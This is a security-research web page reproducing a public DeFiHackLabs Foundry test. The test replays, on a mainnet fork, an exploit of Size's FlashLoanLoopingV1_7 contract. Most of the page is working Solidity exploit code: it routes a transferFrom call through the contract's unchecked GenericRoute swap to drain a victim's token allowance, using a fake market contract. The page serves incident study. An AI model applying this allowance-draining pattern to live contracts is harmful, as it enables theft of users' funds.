Skip to content
THREATWIRE

Public reproduction file

src/test/2025-08/SizeFlashLoanLooping_exp.sol

Public reproduction file for dataset entry SizeFlashLoanLooping.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-08/SizeFlashLoanLooping_exp.sol195 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 533.05 USD
8// Attacker : 0x326dc2ff9045ae79ca3e395d584d3b56af1f310e
9// Attack Contract : 0x977e8f1c4e3a05be213d62428afc2891aeb9f4e3
10// Vulnerable Contract : 0x4b356dc596dd508836bd9e8fe5acad81f8cf9019
11// Attack Tx : https://etherscan.io/tx/0x63aaa5a9fc87ce419c8b1711effee34e2c726b3ee2c2d28f64b963408d6ea8d3
12//
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x4b356dc596dd508836bd9e8fe5acad81f8cf9019#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1669
18//
19// Attack summary: The attacker deployed initcode that created a temporary helper and called Size's
20// FlashLoanLoopingV1_7.loopPositionWithFlashLoan() with SwapMethod.GenericRoute. The generic route target was a
21// Pendle PT token, and the route calldata was transferFrom(victim, attacker, amount).
22// Root cause: DexSwap._swapGenericRoute() accepts caller-controlled router and calldata, approves tokenIn to that
23// router, then performs router.call(data). When used through the public flashloan loop entrypoint, this arbitrary
24// external call let the Size periphery spend third-party token allowances granted to the vulnerable contract.
26address constant ATTACKER = 0x326dc2FF9045AE79Ca3E395D584d3b56aF1F310e;
27address constant ATTACK_CONTRACT = 0x977E8f1C4e3a05BE213D62428AFC2891Aeb9F4e3;
28address constant VICTIM = 0xaC47Ea87b634E0CAbcA5c291EaD7C1474668210d;
29address constant FLASH_LOAN_LOOPING = 0x4b356Dc596dd508836bd9e8FE5aCad81F8Cf9019;
30address constant PENDLE_PT = 0x23E60d1488525bf4685f53b3aa8E676c30321066;
31address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
33uint256 constant PT_AMOUNT = 540_576_557_356_106_541_792;
34uint256 constant WETH_DUST = 10_000;
36interface IFlashLoanLoopingV17 {
37 enum SwapMethod {
38 OneInch,
39 Unoswap,
40 UniswapV2,
41 UniswapV3,
42 GenericRoute,
43 BoringPtSeller,
44 BuyPt
45 }
47 struct SellCreditMarketParams {
48 address lender;
49 uint256 creditPositionId;
50 uint256 amount;
51 uint256 tenor;
52 uint256 deadline;
53 uint256 maxAPR;
54 bool exactAmountIn;
55 }
57 struct SwapParams {
58 SwapMethod method;
59 bytes data;
60 }
62 struct LoopParamsV17 {
63 address sizeMarket;
64 address collateralToken;
65 address borrowToken;
66 uint256 flashLoanAmountBorrowToken;
67 SellCreditMarketParams[] sellCreditMarketParamsArray;
68 SwapParams[] swapParamsArray;
69 uint256 targetLeveragePercent;
70 }
72 function loopPositionWithFlashLoan(LoopParamsV17 calldata loopParams) external;
75contract ContractTest is BaseTestWithBalanceLog {
76 SizeFlashLoanLoopingAttack private exploit;
78 function setUp() public {
79 uint256 forkBlock = 23_146_022;
80 vm.createSelectFork("mainnet", forkBlock);
81 vm.label(ATTACKER, "Attacker");
82 vm.label(ATTACK_CONTRACT, "Attack Contract");
83 vm.label(VICTIM, "Victim");
84 vm.label(FLASH_LOAN_LOOPING, "Size FlashLoanLoopingV1_7");
85 vm.label(PENDLE_PT, "Pendle PT");
86 vm.label(WETH_TOKEN, "WETH");
88 exploit = new SizeFlashLoanLoopingAttack();
89 vm.deal(address(exploit), WETH_DUST);
90 fundingToken = PENDLE_PT;
91 attacker = address(exploit);
92 }
94 function testExploit() public balanceLog {
95 uint256 victimBefore = IERC20(PENDLE_PT).balanceOf(VICTIM);
96 uint256 allowanceBefore = IERC20(PENDLE_PT).allowance(VICTIM, FLASH_LOAN_LOOPING);
98 assertGe(victimBefore, PT_AMOUNT, "victim balance");
99 assertGe(allowanceBefore, PT_AMOUNT, "victim allowance");
101 exploit.run();
103 assertEq(IERC20(PENDLE_PT).balanceOf(address(exploit)), PT_AMOUNT, "PT profit");
104 assertEq(victimBefore - IERC20(PENDLE_PT).balanceOf(VICTIM), PT_AMOUNT, "victim loss");
105 }
108contract SizeFlashLoanLoopingAttack {
109 struct DepositParams {
110 address token;
111 uint256 amount;
112 address to;
113 }
115 struct GenericRouteParams {
116 address router;
117 address tokenIn;
118 bytes data;
119 }
121 receive() external payable {}
123 function run() external {
124 IWETH(payable(WETH_TOKEN)).deposit{value: WETH_DUST}();
126 GenericRouteParams memory route = GenericRouteParams({
127 router: PENDLE_PT,
128 tokenIn: WETH_TOKEN,
129 data: abi.encodeWithSelector(IERC20.transferFrom.selector, VICTIM, address(this), PT_AMOUNT)
130 });
132 IFlashLoanLoopingV17.SwapParams[] memory swaps = new IFlashLoanLoopingV17.SwapParams[](1);
133 swaps[0] = IFlashLoanLoopingV17.SwapParams({
134 method: IFlashLoanLoopingV17.SwapMethod.GenericRoute,
135 data: abi.encode(route)
136 });
138 IFlashLoanLoopingV17.SellCreditMarketParams[] memory emptySellCreditParams =
139 new IFlashLoanLoopingV17.SellCreditMarketParams[](0);
141 IFlashLoanLoopingV17.LoopParamsV17 memory loopParams = IFlashLoanLoopingV17.LoopParamsV17({
142 sizeMarket: address(this),
143 collateralToken: address(this),
144 borrowToken: WETH_TOKEN,
145 flashLoanAmountBorrowToken: 0,
146 sellCreditMarketParamsArray: emptySellCreditParams,
147 swapParamsArray: swaps,
148 targetLeveragePercent: 10_000
149 });
151 IFlashLoanLoopingV17(FLASH_LOAN_LOOPING).loopPositionWithFlashLoan(loopParams);
152 }
154 function approve(address, uint256) external pure returns (bool) {
155 return true;
156 }
158 function balanceOf(address) external pure returns (uint256) {
159 return 10_000_000_000_000_000_000_000_000_000_000;
160 }
162 function multicall(bytes[] calldata calls) external pure returns (bytes[] memory results) {
163 results = new bytes[](calls.length);
164 }
166 function data()
167 external
168 pure
169 returns (
170 uint256 nextDebtPositionId,
171 uint256 nextCreditPositionId,
172 address underlyingCollateralToken,
173 address underlyingBorrowToken,
174 address collateralToken,
175 address borrowAToken,
176 address debtToken,
177 address variablePool
178 )
179 {
180 nextDebtPositionId = 0;
181 nextCreditPositionId = 0;
182 underlyingCollateralToken = WETH_TOKEN;
183 underlyingBorrowToken = WETH_TOKEN;
184 collateralToken = WETH_TOKEN;
185 borrowAToken = WETH_TOKEN;
186 debtToken = WETH_TOKEN;
187 variablePool = WETH_TOKEN;
188 }
190 function debtTokenAmountToCollateralTokenAmount(uint256) external pure returns (uint256) {
191 return 10;
192 }
194 function deposit(DepositParams calldata) external payable {}

Analysis

Dataset entry

Public Foundry test for “SizeFlashLoanLooping” (2025-08-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x326dc2ff9045ae79ca3e395d584d3b56af1f310e

  • Attack Contract

    0x977e8f1c4e3a05be213d62428afc2891aeb9f4e3

  • Vulnerable Contract

    0x4b356dc596dd508836bd9e8fe5acad81f8cf9019

  • Attack Tx

    0x63aaa5a9fc87ce419c8b1711effee34e2c726b3ee2c2d28f64b963408d6ea8d3

File record

Name
SizeFlashLoanLooping
Path
src/test/2025-08/SizeFlashLoanLooping_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8a6b9d6150c451ad017cab225483341c808647ec
Language
Solidity
Size
196 lines
Date
2025-08-15
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-08/SizeFlashLoanLooping_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8a6b9d6150c451ad017cab225483341c808647ec, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.